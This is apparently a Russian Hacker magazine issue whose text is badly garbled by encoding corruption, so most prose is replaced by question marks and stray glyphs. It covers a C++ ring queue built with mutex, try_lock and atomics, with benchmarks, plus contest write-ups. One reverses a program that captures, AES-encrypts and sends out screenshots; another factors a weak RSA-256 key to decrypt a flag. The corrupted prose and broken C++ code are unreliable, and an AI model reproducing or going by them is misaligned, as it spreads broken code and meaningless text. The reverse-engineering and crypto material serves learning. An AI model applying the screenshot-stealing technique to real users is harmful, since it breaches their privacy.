????�?????�?.�?�??�?????,�???�????�??�?????�?�???????�?�???
???????????�?????��??????
??�??�??,� ???� ???�?� ????????� ???�?????� ???�???�??,� ???????� ???�???�?
??????????�???�??� ???�??�????� ??� UDP????�???�?� ?� ??????� ?????�?� ?????�
????�???�??�????�????�????,�??�????�??�???�??�??�???�?�??�??�??
???�??.� ????????� ????�???� ?� ???,� ???� ???�??� ????� ??� ?????� ????�??� ????�
???�??,� ???�????� 10� ????/c.� ???�?� ????�???�?� ?� ?????� ???�?????,� ???� ????
???�????�???�????�??�???�???????�????��?�??�???��????�????.
??�????� ???????� ???�???� ?� ???,� ???� ??????�???,� ??� ???????� ????
??�????�??????�?,�??�??�????�??�?????�??,�??�?�??�???�??�??�??
??� 100%,� ?� ???�?� ???� ??� ???� ??� ??????�?,� ????�??� ?� ?????�???� ???� ???�?
????�?�??????��??�?????�?�?�????�???�?????.�??�??�??�??�燯DP?
?????�????�?�????�??�?????�2�???�(?�??�???).
???????????�?????????
??�??�????�?????�??�?�??�????�?�????�?,�??�??�???�???�?�??�??
??�???�???.�??�??,�??�??�??��?????�??????????�???�???�??�?????�
????,��??�???????�???�????�?�??�?�??�????�????�???��??�???�??
???????� ???� ??� ????�??�?.� ???�??� ????� ????�?� ????�?� ???�??� ???????�??
???�?????�???��?????.
???� ???� ??� ????�???� ??????� ???� ???�?????� ???�?????�?� ??????�?????
?????�?�??�???,�?,�??�?�????????�??�(?�??�???�???�?,��??�???�??�?
?????�????�??� ???�??)� ?� ?????�???� ?????�??� ?????� ????�??�??� ???�????
???�??,� ?????� ???�???� ???�????�??� ????,� ????�???�?� ????????� ???�??
??�?????�?�??�??�??�????.�??�???�??�???,�?�?�????�???�???�??
?????,� ????� ???�????� ???�??� ???,� ?,� ????�???�???�?,� ??� ?????� ???�???� ???�?
???�??�???�?�??�??�??�????.
???� ???????� ??� ????,� ???????� ????�???�???� UDP???????,� ??� ?????�???
???�???� ??� ????� ?????� ???????.� ???� ????�?� ????�??� ?????� ??????�?� ??????�
?????,� ??� ???�?� ???�??� ??� ?� ???�???� ?� ????�???� ???�?????� ???�?????� ????�
???�??�??�?�?????.�?????�???�??�???�??�??�???�???�??�?�?????
??????,� ???� ?� main� thread.� ?� ???�???�?,� ???� ?????� ???�???� ????� ?????�?
???????�?�??�???,�?�??????�?�??�????,�???�??�???�??�?.
??�???�???�??�???�??�???�???��???????,�??�?�?????�?????.�???�
????�?� ???�???� ?� ???�???�???� ?????�???� ???�??,� ??� ??????� ?� ???� ???�???
?�????�?????�???�??�?????�??�???�?�??�??�???�??.�??�?�???�???
???�???� ????,� ???� ????� ???�?????�?� ????�???� ???�???�???� ???�??,� ????�
????�?� ???� ???�???� ?????�????�???� ????�???� ?� ???�????�???�?� �????
????�.��?????�??,�??�?????�???�???�?�?�??�???��??�?�??�??,�?�??
???�???�??�???�?�??�??�???�??�???�?�??�?.
????�?�????�????�??�???�??�???�?�????�????�?????�?�??????�
???� ???�???� ???� ???�???� ??????� ??� ????� ????�??�?� ???�??.� ?� ????� ???�??
????�??????� ????,� ???� thread,� ??????�?????� ?????�????,� ???�??,� ???�??,
????� ?????�????� ???�????� ??????� ?� ???�???� ????�??� ???????,� ???�?????�?
?????�???�?.�??�???�??�?????�????�???????�?�?�???�??�???�????�
???�?,�??�????爎ound?robin.
??�??�?,� ??� ???�?� ??� ??????�?????� readers?write� lock,� ???�?� ????�?????
???????�??�?� ???�??� ??� ???�???� ???????� ????,� ???�?� ??� ?????�?� ??????.
??� ????�???� ?� ???,� ???� ?????�????� ?????� ??????�?� ?� ????�??� ???�????
?�???????�??�????�??�?�??�???�???�?????��???�??�????�??�??�???�
???�?�?�???��??�??,���???�??�??????.
???????
????,�??�?�??�?????,�??�??�?????�??????��????�???�??�??,�???�
???�????�???� ???????�??� ???�??� ?� ???????� ?� ???�???�??�??� ???�?.� ????�
????�?�???�????�??�?????�??�???�?????�????�?�?????,�?�??????�?
??????�?,� ??� ?????� ???�?� ???� ?????�?� ????�???�???� ???�?????�??� ???�?
???�?????� ???� ??????� ???� ???�????.� ?� ????� ???�??� ??� ????�??� ???�??
??�?????�??�????�??�??�?????�????�?�??�?????�??�??�?.
??�??�??�??�?�?????,�??�???????�???�?,�???�??�???�????�????.
??� ??� ?????� ????�?� ???� ?????� ?� ??????,� ???�?� ???�?????� ??????� ?????�????,
?????�?��??�???�??�???�???.�??�??��??�????�????�????�??�??�??
?� ???�???� ????????� ?????� ???�??.� ?� ????� ???�??� ??� ???????� ????�????�??
????�????�????.�??�??�???�??��??�??�???�???�?�??�????�?�?????�
?????�??�??�?��??�??�??�???.�?�??????�??�?????�???�??,�??�??�
????�??�??�???�????,��??�???�???�?,��???�???????,�??�??�?????,�??
??�?�????�???�?��??�?????.
??�??� ????�??,� ??????�???�???� ???�??�??� ?????????� ????�?,� ???????
?????� ?????�??�???????� ????� ?????�???� ???�??.� ???????� ???� RingQueue.
?????�????�????�??�??????�??�?????:� push�� pop.�??�??�????� push(
)� ?????� ???�??�???� ?????� ??????�??,� ???� true� ????�???�?� ????????� ??????�
?????��??�???,�爁alse��??�???�??�?.
??�???,�??�?�?�???�???�???��???�?�???�?????,�?�??????�????
????????�??�????,�????�?????�?��????�????.
??�??�????�?�???�?爏td::mutex
???�??,� ???� ???�????� ?� ??????� ???� ?????�??�????� ????�?� RingQueue,� ?
???� ??????�?????� STL� vector� ?� ?????�??� ???�???�?� ???� ???�??�??� ???�???
?� STL� mutex� ???� ??????� ???�??� ?� ???�???�??�??� ???�?.� ????� ????�???�??
???�???�?燫ingQueue�?�???�?爒ector�爉utex.
template�class燭>
class燫ingQueue
{
燫ingQueue(const燫ingQueue&)�燿elete;
燫ingQueue(RingQueue&&)�燿elete;
燫ingQueue&爋perator=(const燫ingQueue&)�燿elete;
燫ingQueue&爋perator=(RingQueue&&)�燿elete;
public:
爀xplicit燫ingQueue(size_t爏ize)�
牋�//�??????�?????????�????????????�?????�爊��????????.
牋�//�????�??????,�????�???�??????????�??�??????????�???,�
????????�?????????
牋�//�???????�????????�?�
牋爉_container(size�+�
爗
牋燼ssert(size);
爙
爐emplate�class�...燗rgs>
燽ool爌ush(Args�...燼rgs)
爗
牋爏td::unique_lock<std::mutex>爈ock(m_mutex);
牋爄f�(m_pushPos�=爉_popPos)
牋牋爎eturn爁alse;
牋燼uto&爄tem�爉_container.at(m_pushPos);
牋燼uto爐mp�燭(args�...);
牋爄tem�爏td::move(tmp);
牋爉_pushPos�爄ncrementPosition(m_pushPos);
牋爎eturn爐rue;
爙
爑sing燩opCallback�爏td::function<void(const燭&)>;
爒oid爌op(PopCallback&燾allback)
爗
牋爏td::unique_lock<std::mutex>爈ock(m_mutex);
牋燾onst燼uto爌opPos�爄ncrementPosition(m_popPos);
牋爄f�(m_pushPos�=爌opPos)
牋牋爎eturn;
牋燼uto&爄tem�爉_container.at(popPos);
牋燾allback(item);
牋爉_popPos�爌opPos;
爙
private:
爏ize_t爄ncrementPosition(size_t爌os)爗爎eturn�(pos�!=爉_container.
size()���爌os�+��爙
private:
爏td::vector<T>爉_container;
爏td::mutex爉_mutex;
爒olatile爏ize_t爉_popPos��
爒olatile爏ize_t爉_pushPos��
};
?�??�??�????�??�?,�??燫ingQueue�???�???�??�?????�???�??.�??�???�
?????�?�???�??�?��??�???�??�????,�?�????�???�??�?�??�???�?�???�
????� ????�?� ???�??�???�??�?.� ???� T� ?� ???� ???� ???�??�??,� ???�????� ?� ????�
????.� ?� ?????� ?????�????� ?????�???�??� ???�???�??� ?� T� ?� ???� ???�??�??
move??????�???.
????�???�??� RingQueue� ?� ?????�??� ???????�?� ???�???�?� ????� ???�??
size� ?� ???�???� ???�??� ???�??� size� +� 1.� ???� ??� ??????�?� ????,� ???�???
???�??�?????�??�?????�?�??�?????�??�?�??�????�??�?????.�??�???
?� size�?�??�??�???�??�???,�??�?�???�?????�??�??�???�??�??��???�
???�??�?�???�????�???�?????�?????.
??�??� push()� ?� ???�?????� ?????,� ???�??� ??????�???�?� ????� variadic
templates� ??� C++� 11.� ???� ???�?� ???�???� ???� ???�??�???�??�?,� ???�?� ?????
???�???????� ????????� ???�?????�??� ???????�??� ????�??�??� ?� ?????� ?????�
????�???� T().� ???�????� ?� ???�???�??�????� variadic� templates� ??� ????�??�?.
????�?� ??????� ??� ???�?� ??� ???�???�?� mutex,� ?� ?????� ????�???� ????????
???�???� ?� ???�???.� ???� ???�?� ??� ???�??� ?????� ????�??,� ??� ???�?� ??� ????�
????,�???�????�?????�????�?�(m_pushPos)��???????�????�????�(m_pop?
Pos).� ????� ???� ???�?,� ??� ???�???,� ???� ????� ????�?� ???,� ?� ???�??�???� false.
????� ??� ???�???� ???� ?????� ???�???� ?????� ???�??�?,� ??� ??????�?� item
??� ???????� ?????�?,� ???�????�???�?� ???� ??????� ???�???�??,� ?� ?????� ?????�
????�?�?????�????�?�?�??�?????�??????.
???�??�????�?????� pop()��??,�??�???�?�?�????�?????�??�???�?
???�??�???�????�???????�????,��?��??????�??�???�?爎eturn.�????
pop()� ?????� ?????�???????� ????�???????� ?????�????�?� ???�??�?� ????�?
???� ???�?????�??�??� mutex.� ???????� ????�?� ??� ???�???� ??� ???�????�?,� ??
????�???�??�?� ??????�?� data� race.� ?????�?,� ??� ??� ???�?� ????�???� ?????
???�???,� ??� ???� ???�??� ???�???� ??� ?????� ????�???�???� ??????�????,
?�??????�????�??�???�???�??�???�?,��??�??�?�???????�??????�???�
?????.� ?� ??????�??�????�??� ???�???�???� ?????� ????�?� ??� ???????�???�?.
?�??�??�??�???,�???�??�???,�??�??�???�?�???????�????�??�???�???�
????� ???� ???�????�??,� ??� ?????�??�?� ????� deadlock� ?� ???�??,� ????� ???� call?
back�????�????�?�?????�??��???????�???�??�???�???�??�????�????�
????�?�燫ingQueue.
??�??�????��??�????�??�???�???�?�� pop().�??�?�??�????�?爉u?
tex� ??� ???�??� ?????� ????�???� ??????� ?????�????� ?� ???�???�?,� ????� ??
??????????� ?� ???�???.� ????� ??????� ?????�????� ?????� ??????�?� ???????
?????�?,�?�??�???,�??�??�???�??�?,��??�??�??�??�??�??�???�?�???�
????� ???�??� ???�???� ?� ????�?� ????�?� ??� ????� ???�??�??�?� ????� ?????
callback.
??�???�????�??�??�????�??�?�??????�??�?�??.�???????�??�????�
????��??�????�?.�???�?�?????�??�??��??�???��????�?????,�??�??
?????�?�????�??�???�??�??�??�??�???�??�???�??�?��???�?�??????�
??.��????�??,�??�?�???�????�?????�?�????爌op(),�??�??�???�??????,
???�??,� ???�?� ?????�????� ?????� push().� ?????�?,� push()� ?� ?????� ???�??
?????��?�?????�?�??�?�??�??�??�??�???.�?,�?????�??,�?�?�????
???�???� ????� ??� ???� ???�????� ?????�????� ???�??�?� (??� ??� ???�?,� ???� ????�
????�??�??�?????燾allback),��?????�??,�??�??????�??�?????�???�??????
????,� ???� ??????� ?????� ?????� ????� ???�?,� ???�?????�?� ???�???�???�?,� ????�
?????�?�????�????�??�??�????�????爌ush/pop????�????.
??�?????�????�??�????�????�?�???�?爏td::mutex
???�?� ????�???� ???�??�??� ????�???,� ???�???�???�?� ???????� try_lock()
????�?爏td::mutex.�??�??�???�???�???�??�?????�???�??????,�?��??�??,
????�??�????�??�???�???????�??�??�????,�??�??�??�???爁alse.�????�?
?????�??�?�?????�???�??�??�??爌ush/pop????????.
template�class�...燗rgs>
bool爌ush(Args�...燼rgs)
{
爄f�(!m_mutex.try_lock())
牋爎eturn爁alse;
爏td::lock_guard<std::mutex>爈ock(m_mutex,爏td::adopt_lock);
�//�...牋
}
using燩opCallback�爏td::function<void(const燭&)>;
void爌op(PopCallback&燾allback)
{
爄f�(!m_mutex.try_lock())
牋爎eturn;
爏td::lock_guard<std::mutex>爈ock(m_mutex,爏td::adopt_lock);
�//�...
}
???�?�????,�??�??�???�??�?�???�?燫ingQueue�????�????�????�????�
??,�???�???�?�??????�??�????�?????�??�????.�??�???�????爌ush()
???�??�???� ???�????� false,� ?� ???�??�???� ???� ?????� ???�???????� ????�???
???�???�???�??�?�??�???�?�???�???�??.
??�??�????�??�??�???�???�???�?�?????�?爈ock爁ree�????�???�??�??.
??� ?� ???�?� ???????� ????� ????� ????????� ?????�????.� ????� ????� ???�???
???�????�??�???�????�??�??�?,�????�??�?�???�??????�???,�??�?????�
??� ?????�????� ?????�??.� ???� ????�?� ???�???� ?????� ???�????� ???�???
???????,� ???� ???� ??� ??� ?????� ????�???�???� ???�?????�??� ???????�??� ????�
?????�??????.
??�??�????�?�???�?爏td::atomic
??�??�???� ???�??� ???�????�???,� ???�??????� ????�????�????� ?� ???�???�???�
???� ????�????�???�???,� ??????�?� ?� ???�??�???� ???�???�??
???�???�?�??�???��??.��?�??????�??�?�??�???�??,�??�?�??燙PU
?� ???�???� ???�???� ????�????� ??????�??� ????�?� ??????� ???????�??�?.
?燙++�??�??�?�???�??�????�??�??�?????�????爏td::atomic.�????�???�
????�?� ??????�???� ???� RingQueue� ?????� ?� ??????�?????�?� ???�??�??
???????�??.
template�class�...燗rgs>
bool爌ush(Args�...燼rgs)
{
燾onst燼uto爌ushPos�爉_pushPos.load();
�//�????????�????????�?�????��?????�?????
爄f�(m_popPos.load()�=爌ushPos)
牋爎eturn爁alse;
燼uto&爄tem�爉_container.at(pushPos);
燼uto爐mp�燭(args�...);
爄tem�爏td::move(tmp);
爄f�(pushPos�!=爉_container.size()��
牋爉_pushPos.fetch_add(1);
爀lse
牋爉_pushPos.store(0);
爎eturn爐rue;
}
using燩opCallback�爏td::function<void(const燭&)>;
void爌op(PopCallback&燾allback)
{
燼uto爌opPos�爉_popPos.load();
爌opPos��(popPos�!=爉_container.size()���爌opPos�+��
�//�????????�????????�?�????��?????�?????
爄f�(m_pushPos.load()�=爌opPos)
牋爎eturn;
燼uto&爄tem�爉_container.at(popPos);
燾allback(item);
爉_popPos.store(popPos);
}
std::atomic<size_t>爉_popPos�爗0};
std::atomic<size_t>爉_pushPos�爗1};
???� ???�?� ??� ????,� ??� ???�??�?� m_popPos� ?� m_pushPos� ???�??�???
???????�???.� ?????� load()� ????� atomic� ???�???�?� ????????� ???????� ????�
?????� ???????�??,� ?� store()� ?� ???�???�?� ????????� ?????� ???�????,
???????� ???�??� ?????�????� ???�????� ????� CPU.� ???�?� ????,� ???�???
fetch_add()�??�??�?�??�???�???�??�????�??????�??.
??� ???�??� ??????� ?????� ????????�?,� ???� atomic????????�??� ???�??
????????� ??????�?� ???�??,� ??� ???� ??� ???�??� ???.� ???� ???�??�???�??� ?????�
?????��???�?�?????�???�??�??�????��????�??�??�????�???�??????�
??� ???�?� ????�??� ???�????.� ???�?� ??????,� ???�??� ???,� ???�?� ??� ????�???
???�????� ???�??�??� ???????�??,� ???�??�??� ???�??� ???� ??� ???�???�??
?????�??�?�??�???�??�????�??�??�??�???,�??�?�??�??�???�?????�??�
???�???燙PU�??�???.�??�??�??�?????�???�????�??????�??�?�??????�
??� ????�????� ???�??�?� ???�???�?????�??�?.� ?????�?,� ???� ??????� ????�?
???????� ??� ???�???�??� ????�??�???� ???�??�???,� ??� ?� ???� ???� ????� ???�???
???�???�???�?.
??�?????�????�??�????�????�?�???�?爏td::atomic
?� ???????,� std::atomic� ???�????�???� ???�???�?� ?????� ?????�???� ???�????�
????�??� ???�???.� ??� ????�????� ??????�???�?� std::memory_order_seq_cst� ?
sequentially?consistent,� ???� ???�?????�???�?� ???�??????�??� ???�??.
???� ?????� ????�??� ?� ?????�??� ???� ???�????�???� ?????�???.� ???� ??� ???????�
???????� ??????� ?� ???�??�???� ???????�???� ?� ???�???�??� ???????� ???�????
???�???�????�??�??.�??�???�??�???,�??�?????�????�????�?�??�??�?
?????� ????�????� ????�?� ??????� ?� ???�???�??� ?????�?.� ????????� ???�???
????�???�???��??????�??�?????�??�???,��??????�?????�???�???.
???� ???�???�??� ???�???�?????�??�?� ???�?� ??????�?????� ?????� ????�??
?????�???,��??�???�?�????�???�??�????????�??�????�(memory_order_ac?
quire� ?� memory_order_release)� ?� ?????�???� ????????�???� ???�???�???�??
(memory_order_relaxed).� ?� ??????�??,� ?� ???�??� ???�??� ??????� ?� ???
??�??????�?�????�???�?��??,�??�??�????��??�??�?????�?.�??�??????�
??� ????�??� ???�?????,� ???????� ???�???� ???�????�??� ???�???�??� ?� ???????�
????� ???�???�?.� ???�?????�??� ?????� ?????�???� ???�???�???�??� ???�???
?????� ???�???� ??????�??� ????�????� ???�??�??�?????.� ??� ?� ???????,
??� ???????� ???,� ???????� ??????�???� ????�??????� ???�???�???�??,� ??� ????�
???????�????.
template�class�...燗rgs>
bool爌ush(Args�...燼rgs)
{
燼uto爌ushPos�爉_pushPos.load(std::memory_order_relaxed);
爄f�(m_popPos.load(std::memory_order_acquire)�=爌ushPos)
牋爎eturn爁alse;
燼uto&爄tem�爉_container.at(pushPos);
燼uto爐mp�燭(args�...);
爄tem�爏td::move(tmp);
爌ushPos�爄ncrementPosition(pushPos);
爉_pushPos.store(pushPos,爏td::memory_order_release);
爎eturn爐rue;
}
using燩opCallback�爏td::function<void(const燭&)>;
void爌op(PopCallback&燾allback)
{
燼uto爌opPos�爉_popPos.load(std::memory_order_relaxed);
爌opPos�爄ncrementPosition(popPos);
爄f�(m_pushPos.load(std::memory_order_acquire)�=爌opPos)
牋爎eturn;
燼uto&爄tem�爉_container.at(popPos);
燾allback(item);
爉_popPos.store(popPos,爏td::memory_order_release);
}
????????????�?????????????????
??�???��??�???�????�?????�???�???�????�????�???�?燫ingQueue,�???�
???� ???�?????� ???�?� ?� ???�???� ???�???�???.� ???�???� ???�?� ???�?????,
???�???�?� ??????� ??????�?� ????� ?????�????.� ???� ???�?� ??� ???????
??????�??�???�?爂oogle燽enchmark�???�???�?.�??�??�?�??�?�??�???
????.
class營tem
{
public:
爑int64_t爉_x��
};
RingQueue<Item>爍ueue(1000);
static爒oid燘M_PushPop(benchmark::State&爏tate)爗
燫ingQueue<Item>::PopCallback燾allback([](const營tem&爄tem){
牋爒olatile燼uto爔�爄tem.m_x;
牋爔�+=�
爙);
爓hile�(state.KeepRunning())爗
牋爄f�(state.thread_index�=�爗
牋牋爍ueue.push(42);
牋爙爀lse爗
牋牋爍ueue.pop(callback);
牋爙
爙
}
BENCHMARK(BM_PushPop)?>Threads(2);
???�????� ???�???� ???�???� ???�????� ?� 1000� ???�??�??,� ?� ?????� ?????�???
???�?????,�???�?�??????�??�???�?�??�??�?��??�???,��??�??�?????�
????� ??� ???.� ????� ?� ????�???� ????�??� ???�?� ?????�?� ?????�????� ???�??�?
??� ???�???.� ????� ??????�?� ???�??????�??,� ??� ???�????� ???�???� ???�????�
??????�????� ???�???� ??� ???????.� ???� ?????�??� ???�??�???� ??????�???� ????�
???�??�???��??�???.
???�??????
???�?,�?????�??�?
mutex
245
mutex::try_lock
32
atomic爏equentially?consistent
26
atomic燼quire?release燼nd爎elaxed
4
???� ??� ?????,� ???�??� ??� ???�??�??� ????� ???�??�???�??�????� ??????�?
???�???�?????�????� ?????�???????�????� ?� ????.� ?????� ???�????�??� ?????�
???� ?� ??????�?????�?� std::mutex� ?????�???� ???�????� push?pop
??� 245� ??????�???,� ?� ???� ??????�??????� try_lock()� ????�???� ???�??�???�
?????� ?????� ???� ?� ????� ???.� ???� ?� ?????�?????�?,� ????� ?� ???�??� ????�???
RingQueue� ???� ???????� ???�????�??� ??� ???�???�???� ??????� ????� ??????
???�?????�??�????�??�???�???�?�???.
??�????� ??� mutex::try_lock� ????�???� ?� std::atomic� ?� ?????�????� ???�????�
????�??� ??� ????�????� ????� ???�???� ???�???�?????�??�?� �??�?粻 ??� 18%,
??�??�???�?�???�?�???�???,�??�??????�??�?????�??�????�??????
push()�????�?????�?�?????�?.
??�????� ?� ???�??� ???�???�?� ?????� ????�??�??� ???�???� ?� RingQueue
?�??????�????�??�??�????????�??�????��???????�???�??�???�???�??
???�??,�?�???�??�??�?�??�?,�??�????�??�??�?????�??��?????�??�?.
???�????�??���??�??�???�??�???????�???�???�???.
??�??�?,� ??� ???�?� ???�???�?????� ???� ???�?� ???� ????�??�??,� ???� ?????�
????�???� ???�????� ?� ????�????� ????� ?� ???�??.� ??????�??� ?????� ????????
??� ??????� ?� ????�?� ???�????� ?????�??� ???�???.� ???� ???�??� ??????�???????
???�?????� ???�?????�??:� Ubuntu� 16.04,� Intel� Core� i7� 4790k,� 16� ?????
DDR3�00�??.�??�?�???,�??�??�????�?�??�???�?�??????�??�??????�
???� ???????� ?????�????� ?� ???�???.� ????� ????????� ????� ?????� ???� ????�?
???�??�??�????�???�?燫ingQueue.
??�??�????� ???�?� ?????�???,� ???� ???� ??????,� ???� ?� ????� ???�???�??????�
???�?� ?� ???� ???�????�??� ????� ?� ????�??.� ?� ?????�??� ???�????� ??� ???�?
?????�?� ????�?� ????�??,� ???????� ????� ???�?????.� ??� ??� ???????� ???�???
??� ??????� ????�?????,� ???�???�?� ???�?� ????�???�?????� ??????,� ????????
??,� ???�??� ???????�??????� ???�???,� ???�?� ????� ???�???� ?????�?????
???�??,�??�????�??�??�????�??�??�???�??�??�???�????�???�??.
??????
??????
??�?????????????
??????�?????�????
?�??????????�??????????
??燞ACKERU
?????????�????????
lozovsky@glc.ru
???�???�??�?�??�????�??�?�??�??�???� ??�??�?�??????�
????�???� ?� ????�?????� ???� ???�??,� ???????� ??� ?� ????�??
??????.� ???�???� ??????�???� ?� ???� ???????� ???�?????
???�???�?� ???�?????,� ???� ???????� ??� ?????� ??????� ??� ????�
???�?.�)
????�??????
???�??,�??????�????�?�??�?????!
????�??� ??????�???,� ????� ???????�?,� ???????� ???�??�??� ???�??�??
??� ???�?� ?� 100� ?????� ?� ???????� ???�??�??� ???????� ?????� ???� ??????� ????�
????,�??�????�??�????�??�???�????�??????�??�????�?.�??�???�?�??
????,� ????????� ???�???�????� ???� ????,� ???� ????�???�???� ????�??� ?� ??????�
?????!
???�?????�?�?�???�??�??�?�?????�?:
1.�?�????�???�??�??�??�??�??
2.� eakj@protonmail.ch�(???�????�??,�??�?�??�?�??�????�?�??�???,
???�???)
3.� ???�??� ??????�??� ????�?� (???�?� ???�??,� ???�??????� ???� ???�?,
?�???�??�?????�?????�??�?????�??�?�????�?�))
4.�???�?????�???�??�??
???????�?�?????????:�??????�??�????
??� ???????� ?????�??�?� ???�????�?� ????�?� ????� ???�???� ?????�?????�??
????�????,� ???????� ???�??� ???�??.� ?????� ??� ???�????�?� ?� ????� ????� ?????�
?????�????�???�???�?�????�?????�??�????�????�??�??�??.
???�???�?:�??�?�???.
??�????
???�????�??�????�??�??�??�??�?��??????�????�??�??�?營DA.
??�???�??�????,�??�???�??�??�??��???�??�??�??????�???.�???�
?????爌db????�?�??��?????�??�???�?�??�??�??�???�??.
???�??� EntryPoint??� ???�?????�???�?� ?� ???,� ???� ???????�???� ????� ???????
??�??�?燙++.
???�????�??� ?????� ???�?� ???�???� ???� ????�???�??� ???�???� WinMain,
?�??????��??�???�???????�??�??.�??�???� WinMain�??�????�??�?????
????�??.
?� ?????� ??????� ???�?� ??????� ?????�?????� ???�???� ???�???� ?� ????�???�?
????� ???�???�??.� ???????�?� ????� ????�???� ????�??�???� ???�???� Cre?
ateWindowExW.
??�??� ???�????� ?� ????�???�?� ?� ???�????� ????�????� ???�?� ??????� ?????.
???�??�??�?�?,�??�??�???�??????�?�?????燭imerFunc�??�???�???�???�
???�??�??�?????�??�???燚ispatchMessageW.�????�???�??,�??�??�???�
??�??�??�?��??�???�??�???燭imerFunc.
??�???�??� ?� ???�???� TimerFunc.� ???� ???�???�???� ???�?????� ?????�
???????.
???�??�????�??�???�??:
? ???�???�?????�?�???��??�?�?�????�????�%TEMP%?
? ??�???�?�??????�?�???�?:�?????��??????
? ???�?????�???�?�????�???�??�???,�??????��??�??� Get_Screen,� En�
crypt_Screen�
?�
Send_Screen�
(???�???�
GdiplusStartup
?� GdiplusShutdown� ??????�???�?� ???� ???�????�????� Windows� GDI+
?�???�????�?????�燱indows燝DI+�???�???�???�?).
Get_Screen
?�??�???燝et_Screen�????�?????�??�???�???�?�????�??�???�?��???�
????�?� ???� ?� ????� fIsdWlasd.bin,� ???????� ???�??� ???�???????�?� ?� ??????�
?????�%TEMP%.
Encrypt_Screen
???�?�??�???????�??�??�??�??�???燛ncrypt_Screen�??�????�??.
???�?� ??????,� ???� ?????� ???�???�??�???� ???�??????,� ???�??� ?� Encrypt_?
sub_3B1F50.� ?� ???� ????�?� ??� ????????� ??????� ?????� ???�???,� ???� EVP_CI?
PHER_CTX_new,燛VP_EncryptInit_ex,��??�??�??�???�?燛VP,�??????�????�
??????�?�????????�?????�?�???�?�??�??�???�?�??�????�?燨penSSL.
???� ????� ???�?� ??????,� ?????� ????�???� ??????�???�?� ???� ???�??????,
????�???.
?� ???�???� Set_Cipher_Parameters_sub_CE1260� ?????� ?????� ???????�??
????�???�??�?.
?�?????�???�??�??�??�???�??�?????�???�??.
??�?� ?????�?????� ??????�?????� ????�??�?� ??� ???�???�??� ????�?� Set_Ci?
pher_Parameters_sub_CE1260,� ???????�?� ?????�???,� ???� Name� =� 0� ("AES?
"),燤ode��"CBC")�燢eyLength��"128?").
??�???� ?????,� ???� ?????�??� ????�?� ???�???�?� ????�??�??� AES?128?CBC
?�??????燨penSSL.�???�??�??????�????�?�?�????�??.
???� ???�?� ???� ???�?� ????????� ?� ???????� ????�????� Resource� Hacker
???�?????爃ex??????�???.
??�???� ??� ???�?,� ???� ?????�??� ???�???�?� ????�??�??� AES?128?CBC
??�????�??�?�??�??�?,�?�??�?�????�????�?.�??�??�???�??�???�????�
??????� ??????� ???�????�???�???� ???�??,� ???????� ??????�???�?� ?� CBC?
??????.
?燛VP�???�??�??????��??�????�???�???�??�??�?????�???��???�
????燛VP_EncryptInit_ex.
???�???�???�??�?�????�?????�??�??�營DA,�??�?�??�???,�??��????�??
???�????�???�??�?�??�???�??�???�?????�?????�???�???�??�??????.
?�??�?,�??�?????�???�?.
Send_Screen
?� ???�???� Send_Screen� ?????�???�?� ??????�?� ???�??� ??� ???�??� ???�????�
?????�?.
???�??� ??????�???�?� ???� ?????� ?????�????�??� ????� fIsdWlasd.bin.
?????�????�????�????�???�??�?,�??????�??��??????�??�???燫ead?
File,�??????�?��??????�??燽uf.
???� ???� ??� ????�??� ???????� ????� ???�??�?� ???� ????� ?????�???�???�?
?????� ??????�??� ?????�????�??� ???�??,� ?????�????� ?????�????�???
???�?�??�??�??????�?��?????�??�??�?.
??�???� ???�?,� ???�???�?????� ????�??� ???� ???�???�?� ?� ????� ???�???
?????�????�???�????�???.
??????????? ??????
?
? �?????�?????
??????
??????
??�?????????????
??????�?????�????��??????????
???????????�?燞ACKERU
???�?????�????�????�??�????�??��???�??�?�??�?�?營DA.
????
????� ???� ???????�?� ????�??�?� ???�??????,� ??� ?????� ???� ???�?� ???�???�
??????�???????�????�??�?�??�?,�??��????�??�???.
Python???????,��??????�?????�?�??�?�???????�???????�????�??,�
???????�?�?.�?????�??�?,�??�????�???�????�??�??�?�燨penSSL:
>爋penssl爀nc�aes?128?cbc�d�in爀nc_screen�out燿ec_screen.jpeg�K�
2682377FB2C7898E5EB781D941C09C5A�iv�82377FB2C7898E5EB781D941C09C5A
?�??��???!
???????�?�?????????:�??????�??�????
?� ?????� ???�?????�??� ???�?????� ?????�????�??� ???????�??� ?� ???�?
flag.enc.� ???�??� ????� ?????�????� ????�??�??� AES?256?ECB.� ?� ???????,
?�??�???�???�?�????�????�???�??�?� key.enc.�???�???��??,�??�?
?????�????�???�??�??燫SA�??�?????�??�??爇ey.pub.
???�???�?:�??�????�???�???爁lag.enc��??�???�???.
??�????
???�?????,�??�????�???�???�???�??�?????�???燫SA.
??�??,� ???� ???�?� ??????� ???�????�?� 256� ???.� C� ?????� ???????� ??� ?� ?????
????�??�?� ????�????�???� ????????� ??� ???�????�?.� ???�??,� ???� ????�?
??�?,��??�?????�???�?????��??????燳AFU.
???� ???�???� ????????� ???�??????� ??????� ??� ????�??� ???�???�?.� ???�?
????�?� ???�????�?,� ???�?� ???�???�?????� ???�?????� ????� RSA?256� ?� ????�
?????�???�?� key.enc.�燨penSSL�???�??�???????�?????�??�??�????�?
???�?燫SA��??????�????�?� asn1parse.�??�??�?�???�?????�????�???�
??????�??????�?�??�?:
? modulus:�?????,��????�??�??
modulus��5212865554722993122522912465897092478494817507747
32993492805730954699131789
? pubExp:�????�??�????�??�?,��????�??�??
pubExp��537
? privExp:�??�?????�????�??�?,�??�???,�???????�爌ubExp�?�?????
?(modulus)��(p����(q��
? p:�??�??�??�?????爉odulus,��????�??�??
p��1857794043121448213410325750790838383
? q:�??�??�??�?????爉odulus,��????�??�??
q��3130256889334854338089243490350662083
? e1:�??�???,�???????�爌ubExp�?�?????�(p��?
? e2:�??�???,�???????�爌ubExp�?�?????�(q��?
? coeff:�??�???,�???????�爍�?�?????爌.
???� ???�???,� ???� ?????�????� ???????�?� ???�??�?� ??� ??????� ??????�???
???�????�??�???�???�????�?.�????�???�??,�??�????�?????�???????�
??�??�?�???????��??????� ???�????�?燩ython??????�?.�???��??????�
???�?????�????�?.
???�???�??�?�??�???�?????�??�?????�???燫SA,�???�?????�??�???�???�
??????�???�??�???.
?�????�???�????�?????�燨penSSL.
?????� ??� ???�???�???�?� ???�??�??� ????� RSA?256� ?� ???�???� DER
??� ???????�??,� ???�??�??� ?� asn1_struct,� ??????�?� ???� ?� ???�??� PEM
?� ??????�?� ?� ????� key.priv.� ??????� ???�?� ??� ????�?� ???� ???�????�???
????燗ES��??�???�???.
???�?� ????????,� ???� ???�?� ???�?????�?� ????� AES� ???�?� ???�?� ??� 256,
?�8�??.�????�?�????�??�???�??�????�??:
